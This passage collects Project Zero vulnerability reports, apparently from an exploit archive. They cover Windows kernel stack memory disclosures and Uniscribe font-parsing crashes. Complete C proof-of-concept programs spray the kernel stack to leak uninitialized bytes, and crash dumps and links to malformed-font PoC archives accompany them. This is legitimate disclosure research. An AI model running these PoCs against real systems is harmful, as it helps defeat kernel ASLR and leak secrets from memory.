  static BYTE buffer[4096];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  VM_COUNTERS_EX2 counters;
  ZeroMemory(&counters, sizeof(counters));

  SprayKernelStack();

  DWORD ReturnLength;
  NTSTATUS st = NtQueryInformationProcess(GetCurrentProcess(), ProcessVmCounters, &counters, sizeof(counters), &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationProcess failed, %x\n", st);
    return 1;
  }

  PrintHex((PBYTE)&counters, ReturnLength);

  return 0;
}
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1191

We have discovered that the win32k!NtGdiMakeFontDir system call discloses large portions of uninitialized kernel stack memory to user-mode clients.

The attached proof of concept code (which is specific to Windows 7 32-bit) works by first filling a large portion of the kernel stack with a controlled marker byte 0x41 ('A') using the nt!NtMapUserPhysicalPages system call, and then invoking the affected win32k!NtGdiMakeFontDir syscall. As a result, we can observe that a number of leftover bytes from the stack are indeed leaked to user-mode via the output structure:

--- cut ---
00000000: 01 00 00 00 00 02 95 00 00 00 57 69 6e 64 6f 77 ..........Window
00000010: 73 21 20 57 69 6e 64 6f 77 73 21 20 57 69 6e 64 s! Windows! Wind
00000020: 6f 77 73 21 00 10 03 01 01 00 00 00 00 00 00 00 ows!............
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 03 40 00 08 48 00 48 00 66 06 .......@..H.H.f.
00000050: 00 00 1b 02 00 00 00 f4 01 00 00 00 00 08 07 e8 ................
00000060: 03 86 02 1f a8 01 02 00 00 00 00 00 00 76 00 00 .............v..
00000070: 00 08 00 00 00 41 77 69 6e 65 5f 74 65 73 74 00 .....Awine_test.
00000080: 77 69 6e 65 5f 74 65 73 74 00 4d 65 64 69 75 6d wine_test.Medium
00000090: 00 41 41 41 41 00 41 41 41 41 41 41 41 41 41 41 .AAAA.AAAAAAAAAA
000000a0: 41 41 41 41 41 41 41 41 41 00 41 41 41 41 41 41 AAAAAAAAA.AAAAAA
000000b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 AAAAAAAAAAAAAAA.
000000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000f0: 41 41 41 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? AAAAAAAAAAA.....
--- cut ---

In order for the PoC program to work, the attached wine_test.ttf font must be present in the current working directory.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42230.zip
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1193

We have discovered that the nt!NtQueryInformationJobObject system call (corresponding to the documented QueryInformationJobObject() API function) called with the 12 information class discloses portions of uninitialized kernel stack memory to user-mode clients.

The specific name of the 12 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on Windows 10 1607 32-bit, output sizes of 48 and 56 bytes are accepted. In both cases, 4 uninitialized kernel stack bytes are leaked at the end of the structure (at offsets of 0x2C or 0x34, respectively).

The attached proof-of-concept program demonstrates both disclosures by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=12 and the allowed output sizes. An example output is as follows:

--- cut ---
Class 12, output length 48:
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
Class 12, output length 56:
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
--- cut ---

It is clearly visible here that in both responses, 4 bytes copied from ring-0 to ring-3 remained uninitialized.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <cstdio>

extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Windows 10 1607 32-bit.
  CONST ULONG __NR_NtQueryInformationJobObject = 0x00b9;

  // Create a job object to operate on.
  HANDLE hJob = CreateJobObject(NULL, NULL);

  // Spray the kernel stack with a marker value, to get visible results.
  SprayKernelStack();

  // Trigger the bug in nt!NtQueryInformationJobObject(class 12, output length 48).
  DWORD ReturnLength = 0;
  BYTE output[56] = { /* zero padding */ };

  NTSTATUS st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 12, output, 48, &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationJobObject#1 failed, %x\n", st);
    CloseHandle(hJob);
    return 1;
  }

  // Print out the output.
  printf("Class 12, output length 48:\n");
  PrintHex(output, ReturnLength);

  // Spray the kernel again before invoking the affected system call.
  SprayKernelStack();

  // Trigger the bug in nt!NtQueryInformationJobObject(class 12, output length 56).
  ZeroMemory(output, sizeof(output));

  st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 12, output, 56, &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationJobObject#2 failed, %x\n", st);
    CloseHandle(hJob);
    return 1;
  }

  // Print the output again.
  printf("Class 12, output length 56:\n");
  PrintHex(output, ReturnLength);

  // Free resources.
  CloseHandle(hJob);

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1194

We have discovered that the nt!NtQueryInformationJobObject system call (corresponding to the documented QueryInformationJobObject() API function) called with the 28 information class discloses portions of uninitialized kernel stack memory to user-mode clients.

The specific name of the 28 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on Windows 10 1607 32-bit, an output size of 40 bytes is accepted. At the end of that memory area, 16 uninitialized bytes from the kernel stack are leaked to the client application.

The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=28 and the allowed output size. An example output is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 41 41 41 41 41 41 41 41 ........AAAAAAAA
00000020: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........
--- cut ---

It is clearly visible here that 16 bytes copied from ring-0 to ring-3 remained uninitialized. If the stack spraying function call is commented out, raw kernel pointers can be observed in the output.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <cstdio>

extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Windows 10 1607 32-bit.
  CONST ULONG __NR_NtQueryInformationJobObject = 0x00b9;

  // Create a job object to operate on.
  HANDLE hJob = CreateJobObject(NULL, NULL);

  // Spray the kernel stack with a marker value, to get visible results.
  SprayKernelStack();

  // Trigger the bug in nt!NtQueryInformationJobObject(class 28, output length 40).
  DWORD ReturnLength = 0;
  BYTE output[40] = { /* zero padding */ };

  NTSTATUS st = SystemCall32(__NR_NtQueryInformationJobObject, hJob, 28, output, sizeof(output), &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationJobObject failed, %x\n", st);
    CloseHandle(hJob);
    return 1;
  }

  // Print out the output.
  PrintHex(output, ReturnLength);

  // Free resources.
  CloseHandle(hJob);

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1196

We have discovered that the nt!NtQueryInformationTransaction system call called with the 1 information class discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10.

The specific name of the 1 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on 32-bit Windows platforms, an output size of 32 bytes and more is accepted. At the end of that memory area, 6 uninitialized bytes from the kernel stack can be leaked to the client application.

The attached proof-of-concept program (specific to Windows 10 1607 32-bit) demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=1 and the allowed output size. An example output is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 01 00 00 00 00 00 00 00 00 00 41 41 41 41 41 41 ..........AAAAAA
--- cut ---

It is clearly visible here that 6 bytes copied from ring-0 to ring-3 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <KtmW32.h>
#include <cstdio>

extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);

// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  // Windows 10 1607 32-bit.
  CONST ULONG __NR_NtQueryInformationTransaction = 0x00b3;

  // Create an empty transaction.
  HANDLE hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);

  // Spray the kernel stack to get visible results.
  SprayKernelStack();

  // Trigger the vulnerability and print out the output structure.
  BYTE output[32] = { /* zero padding */ };
  DWORD ReturnLength;
  NTSTATUS st = SystemCall32(__NR_NtQueryInformationTransaction, hTransaction, 1, output, sizeof(output), &ReturnLength);

  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationTransaction failed, %x\n", st);
    CloseHandle(hTransaction);
    return 1;
  }

  PrintHex(output, ReturnLength);

  // Free resources.
  CloseHandle(hTransaction);

  return 0;
}
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1198

We have encountered a crash in the Windows Uniscribe user-mode library, in the memmove() function called by USP10!MergeLigRecords, while trying to display text using a corrupted font file:

---
(4e0.6dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000036 ecx=000023af edx=00000003 esi=03624337 edi=0362436d
eip=76e1026a esp=003cefd8 ebp=003cefe0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
msvcrt!memmove+0x224:
76e1026a 8a4603          mov     al,byte ptr [esi+3]        ds:0023:0362433a=??
0:000> kb
 # ChildEBP RetAddr  Args to Child              
00 003cefe0 774c772d 03621fc1 03621f8b 000023b0 msvcrt!memmove+0x224
01 003ceffc 774c75c3 03615fd0 036159d0 003cf098 USP10!MergeLigRecords+0x3d
02 003cf05c 774c7124 0000001a 035b3d88 035bffa8 USP10!LoadTTOArabicShapeTables+0x3f3
03 003cf070 774cc734 2e0105bd 035b3d88 035a6124 USP10!LoadArabicShapeTables+0xd4
04 003cf08c 774ba5a0 2e0105bd 036157d0 0000001a USP10!ArabicLoadTbl+0xd4
05 003cf0b4 774ba692 035a6124 2e0105bd 0000001a USP10!UpdateCache+0xb0
06 003cf0c8 774c15fd 2e0105bd 035a6000 774c16ab USP10!ScriptCheckCache+0x62
07 003cf0d4 774c16ab 00000001 00000001 00000000 USP10!GetShapeFunction+0xd
08 003cf10c 774c2bd4 00000001 00000004 003cf18c USP10!RenderItemNoFallback+0x5b
09 003cf138 774c2e62 00000001 00000004 003cf18c USP10!RenderItemWithFallback+0x104
0a 003cf15c 774c43f9 00000004 003cf18c 035a6124 USP10!RenderItem+0x22
0b 003cf1a0 774b7a04 000004a0 00000400 2e0105bd USP10!ScriptStringAnalyzeGlyphs+0x1e9
0c 003cf1b8 760a1736 2e0105bd 035a6040 0000000a USP10!ScriptStringAnalyse+0x284
0d 003cf204 760a18c1 2e0105bd 003cf688 0000000a LPK!LpkStringAnalyse+0xe5
0e 003cf300 760a17b4 2e0105bd 00000000 00000000 LPK!LpkCharsetDraw+0x332
0f 003cf334 77df56a9 2e0105bd 00000000 00000000 LPK!LpkDrawTextEx+0x40
10 003cf374 77df5a64 2e0105bd 00000048 00000000 USER32!DT_DrawStr+0x13c
11 003cf3c0 77df580f 2e0105bd 003cf688 003cf69c USER32!DT_GetLineBreak+0x78
12 003cf46c 77df5882 2e0105bd 00000000 0000000a USER32!DrawTextExWorker+0x250
13 003cf490 77df5b68 2e0105bd 003cf688 ffffffff USER32!DrawTextExW+0x1e
14 003cf4c4 000e6c3a 2e0105bd 003cf688 ffffffff USER32!DrawTextW+0x4d
[...]
0:000> db poi(ebp+8)
03621fc1  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................
03621fd1  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................
03621fe1  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................
03621ff1  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 d0 d0 d0 d0 ??  ...............?
03622001  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
03622011  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
03622021  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
03622031  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000> db poi(ebp+c)
03621f8b  00 b5 00 b7 00 b9 00 bb-00 bd 00 bf 00 c3 00 c5  ................
03621f9b  00 c9 00 cb 00 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................
03621fab  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................
03621fbb  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................
03621fcb  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................
03621fdb  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................
03621feb  c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0  ................
03621ffb  c0 d0 d0 d0 d0 ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  .....???????????
0:000> dd esi
03624337  ???????? ???????? ???????? ????????
03624347  ???????? ???????? ???????? ????????
03624357  ???????? ???????? ???????? ????????
03624367  ???????? ???????? ???????? ????????
03624377  ???????? ???????? ???????? ????????
03624387  ???????? ???????? ???????? ????????
03624397  ???????? ???????? ???????? ????????
036243a7  ???????? ???????? ???????? ????????
0:000> dd edi
0362436d  ???????? ???????? ???????? ????????
0362437d  ???????? ???????? ???????? ????????
0362438d  ???????? ???????? ???????? ????????
0362439d  ???????? ???????? ???????? ????????
036243ad  ???????? ???????? ???????? ????????
036243bd  ???????? ???????? ???????? ????????
036243cd  ???????? ???????? ???????? ????????
036243dd  ???????? ???????? ???????? ????????
---

The issue reproduces on Windows 7. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.

It's worth noting that the crash is almost identical to the one reported in  Issue #1026 , which was supposedly fixed as CVE-2017-0087 in the MS17-011 bulletin. The number of times we have encountered this crash while fuzzing the patched version of USP10.DLL might suggest that the fix was incomplete (or alternatively, that there is a separate bug which causes a crash in the same code location).

Attached are 6 proof of concept malformed font files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42234.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1199

We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!ttoGetTableData function, while trying to display text using a corrupted TTF font file:

---
(210.274): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000002f6 ebx=000000d0 ecx=0361c003 edx=0000d0d0 esi=0361c000 edi=016101e4
eip=774d3d43 esp=0046f1e0 ebp=0046f1f0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
USP10!ttoGetTableData+0x1aa3:
774d3d43 660fb606        movzx   ax,byte ptr [esi]          ds:0023:0361c000=??

0:000> kb
 # ChildEBP RetAddr  Args to Child              
00 0046f1f0 774d2e10 00000000 00000001 0361b734 USP10!ttoGetTableData+0x1aa3
01 0046f230 774d2d68 0361b73c 036255f8 0046f250 USP10!ttoGetTableData+0xb70
02 0046f258 774d22f1 036255f8 036255f8 0361b734 USP10!ttoGetTableData+0xac8
03 0046f26c 774c75b8 03619fd0 036199d0 0046f308 USP10!ttoGetTableData+0x51
04 0046f2cc 774c7124 0000001a 035b3d88 035c1fa8 USP10!LoadTTOArabicShapeTables+0x3e8
05 0046f2e0 774cc734 9a010536 035b3d88 035a6124 USP10!LoadArabicShapeTables+0xd4
06 0046f2fc 774ba5a0 9a010536 036197d0 0000001a USP10!ArabicLoadTbl+0xd4
07 0046f324 774ba692 035a6124 9a010536 0000001a USP10!UpdateCache+0xb0
08 0046f338 774c15fd 9a010536 035a6000 774c16ab USP10!ScriptCheckCache+0x62
09 0046f344 774c16ab 00000001 00000001 00000000 USP10!GetShapeFunction+0xd
0a 0046f37c 774c2bd4 00000001 00000000 0046f3fc USP10!RenderItemNoFallback+0x5b
0b 0046f3a8 774c2e62 00000001 00000000 0046f3fc USP10!RenderItemWithFallback+0x104
0c 0046f3cc 774c43f9 00000000 0046f3fc 035a6124 USP10!RenderItem+0x22
0d 0046f410 774b7a04 000004a0 00000400 9a010536 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0e 0046f428 760a1736 9a010536 035a6040 0000000a USP10!ScriptStringAnalyse+0x284
0f 0046f474 760a18c1 9a010536 0046f8f8 0000000a LPK!LpkStringAnalyse+0xe5
10 0046f570 760a17b4 9a010536 00000000 00000000 LPK!LpkCharsetDraw+0x332
11 0046f5a4 77df56a9 9a010536 00000000 00000000 LPK!LpkDrawTextEx+0x40
12 0046f5e4 77df5a64 9a010536 00000058 00000000 USER32!DT_DrawStr+0x13c
13 0046f630 77df580f 9a010536 0046f8f8 0046f90c USER32!DT_GetLineBreak+0x78
14 0046f6dc 77df5882 9a010536 00000000 0000000a USER32!DrawTextExWorker+0x250
15 0046f700 77df5b68 9a010536 0046f8f8 ffffffff USER32!DrawTextExW+0x1e
[...]

0:000> !heap -p -a esi-1
    address 0361bfff found in
    _DPH_HEAP_ROOT @ 35a1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 35a1780:          361b1b0              e4e -          361b000             2000
    73448e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77d26206 ntdll!RtlDebugAllocateHeap+0x00000030
    77cea127 ntdll!RtlpAllocateHeap+0x000000c4
    77cb5950 ntdll!RtlAllocateHeap+0x0000023a
    7433ae6a vrfcore!VerifierSetAPIClassName+0x000000aa
    774c6724 USP10!UspAllocCache+0x00000054
    774c728f USP10!LoadTTOArabicShapeTables+0x000000bf
    774c7124 USP10!LoadArabicShapeTables+0x000000d4
    774cc734 USP10!ArabicLoadTbl+0x000000d4
    774ba5a0 USP10!UpdateCache+0x000000b0
    774ba692 USP10!ScriptCheckCache+0x00000062
    774c15fd USP10!GetShapeFunction+0x0000000d
    774c2bd4 USP10!RenderItemWithFallback+0x00000104
    774c2e62 USP10!RenderItem+0x00000022
    774c43f9 USP10!ScriptStringAnalyzeGlyphs+0x000001e9
    774b7a04 USP10!ScriptStringAnalyse+0x00000284
    760a1736 LPK!LpkStringAnalyse+0x000000e5
    760a18c1 LPK!LpkCharsetDraw+0x00000332
    760a17b4 LPK!LpkDrawTextEx+0x00000040
    77df56a9 USER32!DT_DrawStr+0x0000013c
    77df5a64 USER32!DT_GetLineBreak+0x00000078
    77df580f USER32!DrawTextExWorker+0x00000250
    77df5882 USER32!DrawTextExW+0x0000001e
    77df5b68 USER32!DrawTextW+0x0000004d
    [...]
---

The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.

Attached are 3 proof of concept malformed font files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42235.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1200

We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!SubstituteNtoM function, while trying to display text using a corrupted TTF font file:

---
(69c.164): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=035fc256 ebx=00000000 ecx=035fc256 edx=00000019 esi=035cc1d0 edi=00000001
eip=7750a774 esp=0014eb38 ebp=0014eb64 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
USP10!SubstituteNtoM+0x2c4:
7750a774 668b08          mov     cx,word ptr [eax]        ds:0023:035fc256=????
0:000> kb
 # ChildEBP RetAddr  Args to Child              
00 0014eb64 7750994d 0014ef40 0014ef64 035fc256 USP10!SubstituteNtoM+0x2c4
01 0014eba8 7750142a 0014ef40 0014ef64 0014ee54 USP10!otlMultiSubstLookup::apply+0x10d
02 0014ec10 775039f1 00000000 0014ef40 00001c3a USP10!ApplyLookup+0x1aa
03 0014ee14 774fefcf 42555347 0014ef7c 0014ef40 USP10!ApplyFeatures+0x481
04 0014ee60 774ff920 00000000 035f3ffe 035f3c90 USP10!SubstituteOtlGlyphs+0x1bf
05 0014ee9c 774f1500 0014ef18 0014ef50 0014ef7c USP10!SubstituteOtlChars+0x220
06 0014f118 774e55da 0014f224 0014f250 0014f238 USP10!HebrewEngineGetGlyphs+0x690
07 0014f1d8 774e273f 0014f224 0014f250 0014f238 USP10!ShapingGetGlyphs+0x36a
08 0014f2c4 774b5c6f a30105a2 035c6124 035c6318 USP10!ShlShape+0x2ef
09 0014f308 774c174a a30105a2 035c6124 035c6318 USP10!ScriptShape+0x15f
0a 0014f368 774c2bd4 00000000 00000000 0014f3e8 USP10!RenderItemNoFallback+0xfa
0b 0014f394 774c2e62 00000000 00000000 0014f3e8 USP10!RenderItemWithFallback+0x104
0c 0014f3b8 774c43f9 00000000 0014f3e8 035c6124 USP10!RenderItem+0x22
0d 0014f3fc 774b7a04 000004a0 00000400 a30105a2 USP10!ScriptStringAnalyzeGlyphs+0x1e9
0e 0014f414 760a1736 a30105a2 035c6040 0000000a USP10!ScriptStringAnalyse+0x284
0f 0014f460 760a18c1 a30105a2 0014f8e4 0000000a LPK!LpkStringAnalyse+0xe5
10 0014f55c 760a17b4 a30105a2 00000000 00000000 LPK!LpkCharsetDraw+0x332
11 0014f590 77df56a9 a30105a2 00000000 00000000 LPK!LpkDrawTextEx+0x40
12 0014f5d0 77df5a64 a30105a2 00000728 00000000 USER32!DT_DrawStr+0x13c
13 0014f61c 77df580f a30105a2 0014f8e4 0014f8f8 USER32!DT_GetLineBreak+0x78
14 0014f6c8 77df5882 a30105a2 00000000 0000000a USER32!DrawTextExWorker+0x250
15 0014f6ec 77df5b68 a30105a2 0014f8e4 ffffffff USER32!DrawTextExW+0x1e
[...]
---

The issue reproduces on Windows 7, and could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.

Attached are 2 proof of concept malformed font files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42236.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1201

We have encountered a crash in the Windows Uniscribe user-mode library, in the USP10!CreateIndexTable function, while trying to display text using a corrupted TTF font file:

---
(5cc.74): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000025 edi=0365428f
eip=774cc410 esp=002cef70 ebp=002cf084 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
USP10!CreateIndexTable+0x40:
774cc410 0fb64c4701      movzx   ecx,byte ptr [edi+eax*2+1] ds:0023:03654290=??
0:000> kb
 # ChildEBP RetAddr  Args to Child              
00 002cf084 774cc35e 036437d0 03653f68 03651ff4 USP10!CreateIndexTable+0x40
01 002cf098 774c746e 036437d0 03643fd0 036439d0 USP10!CreateIsStartOfRuleTable+0x2e
02 002cf0fc 774c7124 0000001a 035e3d88 035effa8 USP10!LoadTTOArabicShapeTables+0x29e
03 002cf110 774cc734 6c010413 035e3d88 035d6124 USP10!LoadArabicShapeTables+0xd4
04 002cf12c 774ba5a0 6c010413 036437d0 0000001a USP10!ArabicLoadTbl+0xd4
